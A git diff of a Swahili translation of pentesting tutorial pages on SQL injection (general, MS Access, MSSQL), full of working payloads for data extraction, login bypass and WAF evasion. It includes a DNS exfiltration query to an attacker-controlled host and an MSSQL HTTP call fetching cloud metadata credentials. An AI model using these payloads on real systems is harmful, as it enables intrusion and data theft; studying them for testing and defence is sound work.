**SQL injection** ni kasoro ya usalama inayowezesha washambuliaji **kuingilia kati na maswali ya hifadhidata** ya programu. Uthibitisho huu unaweza kuwapa washambuliaji uwezo wa **kuangalia**, **kubadilisha**, au **kufuta** data ambazo hawapaswi kufikia, ikiwa ni pamoja na taarifa za watumiaji wengine au data yoyote ambayo programu inaweza kufikia. Vitendo kama hivyo vinaweza kusababisha mabadiliko ya kudumu katika utendaji au maudhui ya programu au hata kuathiriwa kwa seva au kukatizwa kwa huduma.
## Entry point detection
When a site appears to be **vulnerable to SQL injection (SQLi)** due to unusual server responses to SQLi-related inputs, the **first step** is to understand how to **inject data into the query without disrupting it**. This requires identifying the method to **escape from the current context** effectively. These are some useful examples:
Wakati tovuti inaonekana kuwa **na udhaifu wa SQL injection (SQLi)** kutokana na majibu yasiyo ya kawaida ya seva kwa pembejeo zinazohusiana na SQLi, **hatua ya kwanza** ni kuelewa jinsi ya **kuingiza data katika swali bila kuharibu**. Hii inahitaji kubaini njia ya **kutoroka kutoka kwa muktadha wa sasa** kwa ufanisi. Hizi ni baadhi ya mifano ya manufaa:
```
[Nothing]
'
@ -54,7 +54,7 @@ HQL does not support comments
```
### Kuithibitisha kwa operesheni za kiakili
Njia ya kuaminika ya kuithibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni ya kiakili** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa inapobadilishwa kuwa `?username=Peter' or '1'='1` inaashiria udhaifu wa SQL injection.
Njia ya kuaminika ya kuithibitisha udhaifu wa SQL injection inahusisha kutekeleza **operesheni ya kiakili** na kuangalia matokeo yanayotarajiwa. Kwa mfano, parameter ya GET kama `?username=Peter` inayotoa maudhui sawa wakati inabadilishwa kuwa `?username=Peter' or '1'='1` inaashiria udhaifu wa SQL injection.
Vivyo hivyo, matumizi ya **operesheni za kihesabu** yanatumika kama mbinu bora ya kuithibitisha. Kwa mfano, ikiwa kufikia `?id=1` na `?id=2-1` kunatoa matokeo sawa, inaashiria SQL injection.
@ -65,13 +65,13 @@ page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
```
Neno-hii orodha iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia iliyoanzishwa:
Orodha hii ya maneno iliundwa kujaribu **kuhakikisha SQLinjections** kwa njia iliyoanzishwa:
{% file src="../../images/sqli-logic.txt" %}
### Kuangalia kwa Muda
Katika baadhi ya matukio **hutaona mabadiliko yoyote** kwenye ukurasa unaotest. Hivyo, njia nzuri ya **kuvumbua SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
Katika baadhi ya matukio **hutagundua mabadiliko yoyote** kwenye ukurasa unaojaribu. Hivyo, njia nzuri ya **kubaini SQL injections za kipofu** ni kufanya DB ifanye vitendo na itakuwa na **athari kwenye muda** ambao ukurasa unahitaji kupakia.\
Hivyo, tutakuwa tukiongeza kwenye ombi la SQL operesheni ambayo itachukua muda mrefu kukamilisha:
```
MySQL (string concat and logical ops)
@ -140,12 +140,12 @@ Pia, ikiwa una ufikiaji wa matokeo ya ombi, unaweza kufanya **kuchapisha toleo l
### Kugundua idadi ya safu
Ikiwa unaweza kuona matokeo ya ombi hili ndilo njia bora ya kulitumia.\
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote mbili zinapaswa kurejesha idadi sawa ya safu**.\
Mbinu mbili hutumiwa kawaida kwa ajili ya hili:
Kwanza kabisa, tunahitaji kugundua **idadi** ya **safu** ambazo **ombio la awali** linarejesha. Hii ni kwa sababu **ombio zote zinapaswa kurejesha idadi sawa ya safu**.\
Mbinu mbili hutumiwa kawaida kwa kusudi hili:
#### Order/Group by
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo litakapopatikana. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
Ili kubaini idadi ya safu katika ombi, ongeza taratibu nambari inayotumika katika **ORDER BY** au **GROUP BY** vifungu hadi jibu la uwongo lipatikane. Licha ya kazi tofauti za **GROUP BY** na **ORDER BY** ndani ya SQL, zote zinaweza kutumika kwa njia sawa ili kubaini idadi ya safu za ombi.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -173,7 +173,7 @@ _Unapaswa kutumia `null`values kwani katika baadhi ya kesi aina ya safu za pande
### Toa majina ya hifadhidata, majina ya meza na majina ya safu
Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya
Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya hifadhidata, majina ya safu za meza:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -184,28 +184,28 @@ Katika mifano ifuatayo tutapata jina la hifadhidata zote, jina la meza ya
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_Hakuna njia tofauti ya kugundua data hii kwenye kila database tofauti, lakini daima ni ile ile metodolojia._
_Kuna njia tofauti za kugundua data hii kwenye kila hifadhidata tofauti, lakini daima ni ile ile metodolojia._
## Kutumia Union Iliyofichwa
## Kutumia Union Based Iliyofichwa
Wakati matokeo ya query yanaonekana, lakini injection inayotegemea union inaonekana haiwezekani, inamaanisha kuwepo kwa **injection iliyofichwa inayotegemea union**. Hali hii mara nyingi husababisha hali ya injection ya kipofu. Ili kubadilisha injection ya kipofu kuwa ya msingi wa union, inahitajika kubaini query ya utekelezaji kwenye backend.
Wakati matokeo ya ombi yanaonekana, lakini kuingilia kati kwa msingi wa umoja kunaonekana kuwa haiwezekani, inamaanisha kuwepo kwa **kuingilia kati kwa msingi wa umoja iliyofichwa**. Hali hii mara nyingi inasababisha hali ya kuingilia kati kwa kipofu. Ili kubadilisha kuingilia kati kwa kipofu kuwa ya msingi wa umoja, ombi la utekelezaji kwenye backend linahitaji kutambuliwa.
Hii inaweza kufanywa kwa kutumia mbinu za injection za kipofu pamoja na meza za kawaida zinazohusiana na Mfumo wako wa Usimamizi wa Taarifa (DBMS). Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS lengwa.
Hii inaweza kufanywa kwa kutumia mbinu za kuingilia kati kwa kipofu pamoja na meza za kawaida maalum kwa Mfumo wa Usimamizi wa Hifadhidata (DBMS) wa lengo lako. Ili kuelewa meza hizi za kawaida, inashauriwa kushauriana na nyaraka za DBMS ya lengo.
Mara tu query inapokuwa imeondolewa, ni muhimu kubadilisha payload yako ili kufunga salama query ya awali. Kisha, query ya union inaongezwa kwenye payload yako, ikiruhusu matumizi ya injection mpya inayopatikana ya msingi wa union.
Mara ombi litakapokuwa limetolewa, ni muhimu kubadilisha payload yako ili kufunga salama ombi la awali. Kisha, ombi la umoja linaongezwa kwenye payload yako, kuruhusu matumizi ya kuingilia kati kwa msingi wa umoja ambayo sasa inapatikana.
Kwa ufahamu zaidi, rejelea makala kamili inayopatikana kwenye [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
## Kutumia Kosa
## Kutumia Kosa Kulingana
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **query** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye database.\
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kutoa DB.
Ikiwa kwa sababu fulani huwezi kuona **matokeo** ya **ombio** lakini unaweza **kuona ujumbe wa makosa**, unaweza kufanya ujumbe huu wa makosa **kuondoa** data kutoka kwenye hifadhidata.\
Kufuata mtiririko sawa kama katika matumizi ya Union Based unaweza kuweza kudump DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Kutumia Blind SQLi
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kuweza** kutofautisha wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii huwezi kuona matokeo ya ombi au makosa, lakini unaweza **kutofautisha** wakati ombi **linarudisha** jibu **la kweli** au **la uongo** kwa sababu kuna maudhui tofauti kwenye ukurasa.\
Katika kesi hii, unaweza kutumia tabia hiyo kutupa hifadhidata herufi kwa herufi:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
@ -218,19 +218,19 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Kutumia SQLi Inayotegemea Wakati
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeona mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Stacked Queries
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarejeshwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo basi, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
**Oracle** haisaidii **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaziunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** ihamasishwe kupeleka taarifa kwa **host ya nje** inayodhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** iwasilishe taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -282,9 +282,9 @@ Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daim
{% file src="../../images/sqli-hashbypass.txt" %}
### GBK Authentication Bypass
### GBK Uhakikisho wa Kupita
KAMA ' inakabiliwa unaweza kutumia %A8%27, na wakati ' inakabiliwa itaundwa: 0xA80x5c0x27 (_╘'_)
KAMA ' inasafishwa unaweza kutumia %A8%27, na wakati ' inasafishwa itaundwa: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -307,7 +307,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### Badilisha nenosiri la kitu/katumizi kilichopo
Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu kikuu"** (labda **admin** katika kesi ya watumiaji) ukibadilisha kitu:
Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu mkuu"** (labda **admin** katika kesi ya watumiaji) ukibadilisha kitu:
- Unda mtumiaji anayeitwa: **AdMIn** (herufi kubwa na ndogo)
- Unda mtumiaji anayeitwa: **admin=**
@ -317,11 +317,11 @@ Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu kikuu"
Ikiwa hifadhidata ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kuwa hii haijafanya kazi).
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kuwa hii haijafanya kazi).
Maelezo zaidi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Note: Shambulio hili halitafanya kazi tena kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu ukaguzi huu:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_Kumbuka: Shambulio hili halitafanya kazi tena kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu hii angalia:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Ingiza ukaguzi wa muda
@ -331,11 +331,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kufafanua hatua ambazo database itachukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika index ya UNIQUE au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kufafanua hatua ambazo hifadhidata inapaswa kuchukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika index ya UNIQUE au KEY YA KUU. Mfano ufuatao unaonyesha jinsi kipengele hiki kinavyoweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
Mfano wa Payload Injection:
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribiwa kuingizwa katika jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribu kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -358,7 +358,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```
#### Kutumia desimali au hexadecimal
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kuandika chochote.
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kutoa maoni yoyote.
Kutumia **hex2dec** na **substr**:
```sql
@ -392,7 +392,7 @@ Example:
### No spaces bypass
No Space (%20) - bypass kwa kutumia mbadala za nafasi
No Space (%20) - bypass kutumia mbadala za nafasi
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -401,7 +401,7 @@ No Space (%20) - bypass kwa kutumia mbadala za nafasi
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass kutumia maoni
No Whitespace - kupita kwa kutumia maoni
```sql
?id=1/*comment*/and/**/1=1/**/--
```
@ -425,7 +425,7 @@ Blacklisting kwa kutumia maneno muhimu - bypass kwa kutumia herufi kubwa/ndogo
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist kutumia maneno muhimu yasiyo na tofauti - pitisha kwa kutumia opereta sawa
Blacklist kutumia maneno muhimu bila kujali herufi - pitia kwa kutumia opereta sawa
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -444,7 +444,7 @@ Kimsingi unaweza kutumia noti ya kisayansi kwa njia zisizotarajiwa ili kuipita W
```
### Bypass Column Names Restriction
Kwanza kabisa, zingatia kwamba ikiwa **uchunguzi wa asili na jedwali ambapo unataka kutoa bendera zina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Kwanza kabisa, zingatia kwamba ikiwa **uchunguzi wa asili na jedwali ambapo unataka kutoa bendera lina idadi sawa ya safu** unaweza tu kufanya: `0 UNION SELECT * FROM flag`
Inawezekana **kufikia safu ya tatu ya jedwali bila kutumia jina lake** kwa kutumia uchunguzi kama ifuatavyo: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, hivyo katika sqlinjection hii itakuwa kama:
```bash
@ -456,7 +456,7 @@ Au kutumia **comma bypass**:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Hila hii ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
Hii hila ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Zana za kupendekeza WAF bypass

View File

@ -27,11 +27,11 @@ Ikiwa hii haifanyi kazi unaweza kila wakati kurekebisha sintaksia ya ombi:
```
### Stacked Queries
Hazirishiwi.
Haziruhusishwa.
### LIMIT
Opereta **`LIMIT`** **haijatekelezwa**. Hata hivyo, inawezekana kupunguza matokeo ya swali la SELECT kwa **safu za kwanza N za jedwali kwa kutumia opereta `TOP`**. `TOP` inakubali kama hoja nambari, ikiwakilisha idadi ya safu zitakazorejeshwa.
Mwandiko wa **`LIMIT`** **haujawekwa**. Hata hivyo, inawezekana kupunguza matokeo ya swali la SELECT kwa **safu za kwanza N za jedwali kwa kutumia mwandiko wa `TOP`**. `TOP` inakubali kama hoja nambari, ikiwakilisha idadi ya safu zitakazorejeshwa.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
@ -50,7 +50,7 @@ Kwa hivyo, unahitaji kujua **jina halali la meza**.
> [!WARNING]
> Hii itakuruhusu kutoa thamani za jedwali la sasa bila kuhitaji kujua jina la jedwali.
**MS Access** inaruhusu **sintaksia za ajabu** kama **`'1'=2='3'='asd'=false`**. Kama kawaida, SQL injection itakuwa ndani ya **`WHERE`** clause tunaweza kuitumia hiyo.
**MS Access** inaruhusu **sintaksia ya ajabu** kama **`'1'=2='3'='asd'=false`**. Kama kawaida, SQL injection itakuwa ndani ya **`WHERE`** clause tunaweza kuitumia hiyo.
Fikiria una SQLi katika hifadhidata ya MS Access na unajua (au umekisia) kwamba jina moja la **safu ni username**, na hiyo ndiyo sehemu unayotaka **kutoa**. Unaweza kuangalia majibu tofauti ya programu ya wavuti wakati mbinu ya chaining equals inatumika na kwa uwezekano kutoa maudhui kwa kutumia **boolean injection** kwa kutumia **`Mid`** function kupata substrings.
```sql
@ -95,7 +95,7 @@ Au unaweza kutumia brute-force majina ya safu za **meza tofauti** na:
```
### Dumping data
Tumesha jadili [**mbinu ya kuunganisha sawa**](ms-access-sql-injection.md#chaining-equals-+-substring) **kutoa data kutoka kwa jedwali la sasa na mengineyo**. Lakini kuna njia nyingine:
Tumesha jadili [**mbinu ya kuunganisha sawa**](ms-access-sql-injection.md#chaining-equals-+-substring) **kutoa data kutoka kwa meza za sasa na nyingine**. Lakini kuna njia nyingine:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
@ -136,21 +136,21 @@ Ujuzi wa **njia kamili ya msingi wa mtandao unaweza kusaidia mashambulizi zaidi*
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access inajibu kwa **ujumbe wa kosa unaoelezea njia kamili ya katalogi ya wavuti**.
MS Access inajibu kwa **ujumbe wa kosa unaoonyesha njia kamili ya katalogi ya wavuti**.
### Uhesabuji wa Faili
Vector ifuatayo ya shambulio inaweza kutumika **kujua uwepo wa faili kwenye mfumo wa faili wa mbali**. Ikiwa faili iliyoainishwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:
Vector ifuatayo ya shambulio inaweza kutumika **kujua uwepo wa faili kwenye mfumo wa mbali**. Ikiwa faili iliyotajwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Njia nyingine ya kuhesabu faili inajumuisha **kuainisha kipengee cha hifadhidata.jedwali**. **Ikiwa** faili iliyoainishwa **ipo**, MS Access inaonyesha **ujumbe wa kosa la muundo wa hifadhidata**.
Njia nyingine ya kuhesabu faili inajumuisha **kueleza kipengee cha database.table**. **Ikiwa** faili iliyotajwa **ipo**, MS Access inaonyesha **ujumbe wa kosa la muundo wa hifadhidata**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Kukisia Jina la Faili .mdb
**Jina la faili la hifadhidata (.mdb)** linaweza kufahamika kwa kutumia uchunguzi ufuatao:
**Jina la faili la hifadhidata (.mdb)** linaweza kufahamika kwa kutumia ombi lifuatalo:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
@ -158,7 +158,7 @@ Ambapo **name\[i] ni jina la faili la .mdb** na **realTable ni jedwali lililopo*
### Kivunja Nenosiri la .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni chombo cha bure ambacho kinaweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni zana ya bure inayoweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
## Marejeleo

View File

@ -85,7 +85,7 @@ EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Taratibu zilizohifadhiwa kama `xp_dirtree`, ingawa hazijadiliwa rasmi na Microsoft, zimeelezewa na wengine mtandaoni kutokana na matumizi yao katika operesheni za mtandao ndani ya MSSQL. Taratibu hizi mara nyingi hutumiwa katika Uhamasishaji wa Data nje ya Muktadha, kama inavyoonyeshwa katika mifano mbalimbali [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) na [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Taratibu zilizohifadhiwa kama `xp_dirtree`, ingawa hazijathibitishwa rasmi na Microsoft, zimeelezewa na wengine mtandaoni kutokana na matumizi yao katika operesheni za mtandao ndani ya MSSQL. Taratibu hizi mara nyingi hutumiwa katika Uhamasishaji wa Data nje ya Muktadha, kama inavyoonyeshwa katika mifano mbalimbali [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) na [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
Taratibu iliyohifadhiwa ya `xp_dirtree`, kwa mfano, inatumika kufanya maombi ya mtandao, lakini inakabiliwa na bandari ya TCP 445 pekee. Nambari ya bandari haiwezi kubadilishwa, lakini inaruhusu kusoma kutoka kwa sehemu za mtandao. Matumizi yake yanaonyeshwa katika skripti ya SQL hapa chini:
```sql
@ -107,9 +107,9 @@ Kwa wazi unaweza pia kutumia **`xp_cmdshell`** ili **kutekeleza** kitu kinachoch
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Kuunda UDF ya CLR (Common Language Runtime User Defined Function), ambayo ni msimbo ulioandikwa katika lugha yoyote ya .NET na kukusanywa kuwa DLL, ili kupakiwa ndani ya MSSQL kwa ajili ya kutekeleza kazi za kawaida, ni mchakato unaohitaji ufikiaji wa `dbo`. Hii ina maana kwamba kawaida inapatikana tu wakati muunganisho wa hifadhidata unafanywa kama `sa` au kwa jukumu la Msimamizi.
Kuunda UDF ya CLR (Common Language Runtime User Defined Function), ambayo ni msimbo ulioandikwa kwa lugha yoyote ya .NET na kukusanywa kuwa DLL, ili kupakiwa ndani ya MSSQL kwa ajili ya kutekeleza kazi za kawaida, ni mchakato unaohitaji ufikiaji wa `dbo`. Hii ina maana kwamba kawaida inapatikana tu wakati muunganisho wa hifadhidata unafanywa kama `sa` au kwa jukumu la Msimamizi.
Mradi wa Visual Studio na maelekezo ya usakinishaji yanatolewa katika [hii Github repository](https://github.com/infiniteloopltd/SQLHttp) ili kuwezesha upakiaji wa binary ndani ya MSSQL kama mkusanyiko wa CLR, hivyo kuwezesha utekelezaji wa maombi ya HTTP GET kutoka ndani ya MSSQL.
Mradi wa Visual Studio na maelekezo ya usakinishaji yanatolewa katika [hii Github repository](https://github.com/infiniteloopltd/SQLHttp) ili kuwezesha upakuaji wa binary ndani ya MSSQL kama mkusanyiko wa CLR, hivyo kuwezesha utekelezaji wa maombi ya HTTP GET kutoka ndani ya MSSQL.
Msingi wa kazi hii umefungwa katika faili ya `http.cs`, ambayo inatumia darasa la `WebClient` kutekeleza ombi la GET na kupata maudhui kama ilivyoonyeshwa hapa chini:
```csharp
@ -127,23 +127,23 @@ return new SqlString(html);
}
}
```
Kabla ya kutekeleza amri ya SQL `CREATE ASSEMBLY`, inashauriwa kukimbia kipande hiki cha SQL kuongeza hash ya SHA512 ya mkusanyiko kwenye orodha ya mkusanyiko inayotegemewa ya seva (inaweza kuonekana kupitia `select * from sys.trusted_assemblies;`):
Kabla ya kutekeleza amri ya SQL `CREATE ASSEMBLY`, inashauriwa kukimbia kipande hiki cha SQL kuongeza hash ya SHA512 ya mkusanyiko kwenye orodha ya mkusanyiko unaoaminika wa seva (unaoweza kuonekana kupitia `select * from sys.trusted_assemblies;`):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Baada ya kuongeza kwa mafanikio mkusanyiko na kuunda kazi, msimbo ufuatao wa SQL unaweza kutumika kufanya maombi ya HTTP:
Baada ya kuongeza assembly kwa mafanikio na kuunda kazi, msimbo ufuatao wa SQL unaweza kutumika kufanya maombi ya HTTP:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Haraka Kutumia: Kurejesha Maudhui Yote ya Jedwali Katika Swali Moja**
### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query**
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
Njia fupi ya kutoa maudhui kamili ya jedwali katika swali moja inahusisha kutumia kipengele cha `FOR JSON`. Njia hii ni fupi zaidi kuliko kutumia kipengele cha `FOR XML`, ambacho kinahitaji hali maalum kama "raw". Kipengele cha `FOR JSON` kinapendekezwa kwa sababu ya ufupi wake.
